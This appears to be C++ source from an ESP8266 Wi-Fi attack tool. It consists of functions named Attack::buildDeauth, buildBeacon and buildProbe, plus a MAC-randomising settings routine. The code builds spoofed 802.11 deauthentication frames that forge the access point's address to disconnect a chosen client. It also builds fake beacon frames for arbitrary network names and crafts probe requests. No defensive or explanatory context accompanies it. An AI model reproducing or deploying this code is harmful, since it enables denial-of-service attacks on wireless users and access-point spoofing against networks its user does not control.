void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) { packetSize = 0; for (int i = 0; i < sizeof(deauthPacket); i++) { packet[i] = deauthPacket[i]; packetSize++; } for (int i = 0; i < 6; i++) { //set target (client) packet[4 + i] = _client._get(i); //set source (AP) packet[10 + i] = packet[16 + i] = _ap._get(i); } //set type packet[0] = type; packet[24] = reason; }
void Settings::syncMacInterface() { if ( debug ) { Serial.println ( "[+] Trying to sync the MAC addr with settings" ); } if ( isSettingsLoaded ) { Mac macToSync; if ( isMacAPRand ) { macToSync.randomize (); wifi_set_macaddr ( SOFTAP_IF, macToSync._get () ); if ( debug ) { Serial.println ( "[+] Synced with a random mac addr : " + macToSync.toString () ); } } else if ( macAP.valid () ) { macToSync = macAP; wifi_set_macaddr ( SOFTAP_IF, macToSync._get () ); if ( debug ) { Serial.println ( "[+] Synced with saved mac addr : " + macToSync.toString () ); } } else { if ( debug ) { Serial.println ( "[+] Could not sync because of invalid settings !" ); } } } else { if ( debug ) { Serial.println ( "Could not sync because settings are not loaded !" ); } } }
void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) { packetSize = 0; int ssidLen = _ssid.length(); if (ssidLen > 32) ssidLen = 32; for (int i = 0; i < sizeof(beaconPacket_header); i++) { packet[i] = beaconPacket_header[i]; packetSize++; } if(settings.beaconInterval){ beaconPacket_header[32] = 0xe8; beaconPacket_header[33] = 0x03; } for (int i = 0; i < 6; i++) { //set source (AP) packet[10 + i] = packet[16 + i] = _ap._get(i); } packet[packetSize] = 0x00; packetSize++; packet[packetSize] = ssidLen; packetSize++; for (int i = 0; i < ssidLen; i++) { packet[packetSize] = _ssid[i]; packetSize++; } for (int i = 0; i < sizeof(beaconPacket_end); i++) { packet[packetSize] = beaconPacket_end[i]; packetSize++; } packet[packetSize] = _ch; packetSize++; if (encrypt) { for (int i = 0; i < sizeof(beaconWPA2tag); i++) { packet[packetSize] = beaconWPA2tag[i]; packetSize++; } } }
void Attack::buildProbe(String _ssid, Mac _mac) { int len = _ssid.length(); if (len > 32) len = 32; packetSize = 0; for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i]; packetSize += sizeof(probePacket); for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i); packet[packetSize] = len; packetSize++; for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i]; packetSize += len; for (int i = 0; i < sizeof(probePacket_RateTag); i++) packet[packetSize + i] = probePacket_RateTag[i]; packetSize += sizeof(probePacket_RateTag); }